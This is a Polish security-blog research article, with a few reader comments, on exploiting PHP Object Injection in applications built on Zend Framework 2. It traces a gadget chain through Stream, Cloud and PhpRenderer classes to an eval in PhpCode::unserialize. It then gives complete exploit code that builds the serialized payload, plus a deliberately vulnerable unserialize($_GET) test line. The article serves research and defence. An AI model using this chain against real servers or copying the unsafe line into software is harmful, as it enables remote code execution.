Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
PHP Object Injection i ZendFramework2
Podatność PHP Object Injection jest już czytelnikom Sekuraka znana; opisywaliśmy ją rok temu, pokazując na przykładzie błędu tego typu w Joomli jak doprowadzić do usuwania dowolnego pliku na dysku. Tym razem przedstawimy nasz autorski research, w jaki sposób można wykorzystać tę podatność do wykonania dowolnego kodu, jeśli odnajdziemy ją w aplikacji korzystającej z bardzo popularnego frameworka dla PHP: Zend.
Krótkie przypomnienie
W telegraficznym skrócie, podatność PHP Object Injection wiązała się z wywołaniem funkcji unserialize() z danymi pochodzącymi od użytkownika. Dzięki temu atakujący mógł zainicjalizować dowolne klasy w podatnym kodzie, a także – przy odrobinie szczęścia – wpłynąć na przepływ działania programu. Było to możliwe dzięki magicznym metodom wywoływanym automatycznie przez PHP w pewnych sytuacjach. W kontekście tego artykułu będą nas interesować konkretnie następujące metody:
- __destruct() – wywoływana w momencie niszczenia obiektu (destruktor),
- __toString() – wywoływana, gdy dana klasa musi zostać zinterpretowana jako string (np. w przypadku porównania $obj == „abc”),
- __call() – wywoływana, gdy próbowano odwołać się do metody nieistniejącej w danej klasie. Na przykład: załóżmy, że próbujemy wykonać $obj->jakasMetoda(„abc”), jednak jakasMetoda() nie jest zdefiniowana dla klasy kryjącej się pod zmienną $obj. PHP spróbuje wówczas wywołać metodę __call(„jakasMetoda”, array(„abc”)).
Exploitujemy Zenda!
Spójrzmy zatem co ciekawego kryją w sobie klasy Zenda. Jak to zazwyczaj bywa, zaczynamy od destruktorów. Najpierw destruktor klasy \Zend\Http\Response\Stream
public function __destruct() { if (is_resource($this->stream)) { $this->stream = null; //Could be listened by others } if ($this->cleanup) { ErrorHandler::start(E_WARNING); unlink($this->streamName); ErrorHandler::stop(); } }
Wygląda nieźle :) Jeśli $this->cleanup będzie równe true, wówczas wykona się unlink() (czyli usuwanie pliku na dysku) dla ścieżki pobranej z $this->streamName. Już samo usuwanie plików jest niezłą podatnością samą w sobie, ale w tym przypadku zwracam uwagę na ten kod z innego powodu – mianowicie argumentem dla funkcji unlink() musi być zmienna znakowa, zatem jeśli podstawimy pod $this->streamName jakąś klasę, zostanie w niej wykonane __toString(). Co z kolei prowadzi nas do klasy \Zend\Tag\Cloud:
public function __toString() { try { $result = $this->render();
Spójrzmy w takim razie na render():
public function render() { $tags = $this->getItemList(); if (count($tags) === 0) { return ''; } $tagsResult = $this->getTagDecorator()->render($tags); $cloudResult = $this->getCloudDecorator()->render($tagsResult); return $cloudResult; }
W Zendzie stosowane są gettery i settery, toteż getItemList() zwraca $this->tags, zaś getTagDecorator() zwraca $this->tagDecorator. Powyższy kod pozwala w takim razie wykonać metodę render() dla klasy kryjącej się pod $this->tagDecorator przekazując jako argument $this->tags.
Metodę render() odnajdujemy w klasie \Zend\View\Renderer\PhpRenderer.
public function render($nameOrModel, $values = null) { if ($nameOrModel instanceof Model) {
Pamiętamy, że mieliśmy kontrolę nad tym, jaki argument jest przesyłany do tej funkcji. Na samym początku ciała funkcji jest sprawdzenie czy $nameOrModel (czyli nasz argument) jest instancją klasy Model. Zadbamy o to, by tak nie było, a więc pomińmy ten blok kodu i patrzymy dalej:
$this->addTemplate($nameOrModel);
Wykonana zostanie funkcja addTemplate()…
public function addTemplate($template) { $this->__templates[] = $template; return $this; }
… która po prostu dopisuje do tablicy $this->__templates argument, który został do niej przekazany.
Wracamy do render():
while ($this->__template = array_pop($this->__templates)) { $this->__file = $this->resolver($this->__template);
Pobierany jest ostatni element z tablicy $this->templates, a następnie jest on przekazywany do metody resolver(). Zobaczmy czym ta metoda się zajmuje.
public function resolver($name = null) { if (null === $this->__templateResolver) { $this->setResolver(new TemplatePathStack()); } if (null !== $name) { return $this->__templateResolver->resolve($name, $this); }
Tym razem wywoływana jest metoda resolve() na obiekcie kryjącym się pod $this->__templateResolver. Tradycyjnie szukalibyśmy jakiejś ciekawej klasy zawierającej resolve(), wyjątkowo jednak zastosujemy inne podejście… Gdybyśmy pod $this->__templateResolver schowali instancję tej samej klasy, na którą teraz patrzymy (a więc \Zend\View\Renderer\PhpRenderer), silnik PHP nie odnalazłby metody resolve() – bowiem nie jest ona zdefiniowana – dlatego wywołałby magiczną metodę __call().
public function __call($method, $argv) { if (!isset($this->__pluginCache[$method])) { $this->__pluginCache[$method] = $this->plugin($method); } if (is_callable($this->__pluginCache[$method])) { return call_user_func_array($this->__pluginCache[$method], $argv); } return $this->__pluginCache[$method]; }
Mamy wykonanie funkcji call_user_func_array(), w której mamy kontrolę nad pierwszym parametrem, co oznacza, że możemy wywołać dowolną metodę w dowolnej klasie. Szczęśliwie – ze względu na wcześniejszy przepływ programu – mamy też kontrolę nad pierwszym argumentem przekazywanym do tej funkcji!
Wydawałoby się, że w tym momencie moglibyśmy po prostu odpalić system() lub assert(), ale, z przyczyn nie do końca dla mnie jasnych, takie rozwiązanie nie zadziałało.
Z ratunkiem przychodzi jednak sam Zend i klasa \Zend\Serializer\Adapter\PhpCode z interesującą metodą unserialize():
public function unserialize($code) { ErrorHandler::start(E_ALL); $ret = null; // This suppression is due to the fact that the ErrorHandler cannot // catch syntax errors, and is intentionally left in place. $eval = @eval('$ret=' . $code . ';');
Nie mogło być lepiej – wywoływany jest eval() z argumentem przekazywanym do funkcji.
Tym samym udało nam się odnaleźć ciąg klas w Zendzie, który doprowadził do wykonania dowolnego kodu PHP.
Teraz należy połączyć wszystkie klocki w jedno i napisać kod, który zbuduje odpowiedni łańcuch klas, zgodnie z powyższym opisem. W poniższym przykładzie exploit wykona funkcję phpinfo().
<?php namespace Zend\Tag { class Cloud { protected $tags = "phpinfo()"; protected $tagDecorator; function __construct() { $this->tagDecorator = new \Zend\View\Renderer\PhpRenderer(); } } } namespace Zend\Serializer\Adapter { class PhpCode { } } namespace Zend\View\Renderer { class PhpRenderer { private $__pluginCache; private $__templateResolver; function __construct($i=0) { switch ($i) { case 0: $this->__templateResolver = new \Zend\View\Renderer\PhpRenderer(1); break; case 1: $this->__pluginCache = array("resolve" => array(new \Zend\Serializer\Adapter\PhpCode(), "unserialize")); break; } } } } namespace Zend\Http\Response { class Stream { protected $cleanup = true; protected $streamName; function __construct() { $this->streamName = new \Zend\Tag\Cloud(); } } } namespace Exploit { $x = new \Zend\Http\Response\Stream(); var_dump($x); echo urlencode(base64_encode(serialize($x)))."\n\n"; }
Aby upewnić się, że kod rzeczywiście zadziała, wziąłem prostą, przykładową aplikację w Zendzie (ZF2 Skeleton Application) i dopisałem w niej jedną linię kodu…
unserialize(base64_decode($_GET["x"]));
Na (Rys 1.) pokazuję zaś, że w istocie phpinfo() zostanie wykonane w wyniku wykorzystania Object Injection.
Podsumowanie
Pokazaliśmy, że podatność PHP Object Injection w aplikacji korzystając z frameworka Zend może zostać wykorzystana do wykonania dowolnego kodu PHP po stronie serwera.
Należy zaznaczyć, że nie jest to problem bezpieczeństwa samego Zenda – klasy, które zostały użyte w łańcuchu są używane w frameworku do realizacji jego zwykłych funkcjonalności. To programiści aplikacji webowych muszą pamiętać, aby nigdy nie uruchamiać funkcji unserialize() na niezaufanych danych.
–Michał Bentkowski, realizuje testy penetracyjne w Securitum.
Warto dodać że to dotyczy wszystkich języków programowania (no prawie wszystkich) i leniwych „programistów”. Dlatego warto serializować/deserializować dane do formatów typu JSON/XML/CHGW za pomocą metod do tego przeznaczonych.
Przykład: https://docs.python.org/2/library/pickle.html
Na Sekuraku też o tym było ;)
http://sekurak.pl/unpickle-deserializacja-w-pythonie-i-zdalne-wykonywanie-kodu/
A kto napisał ten art?
Dodałem już podpis.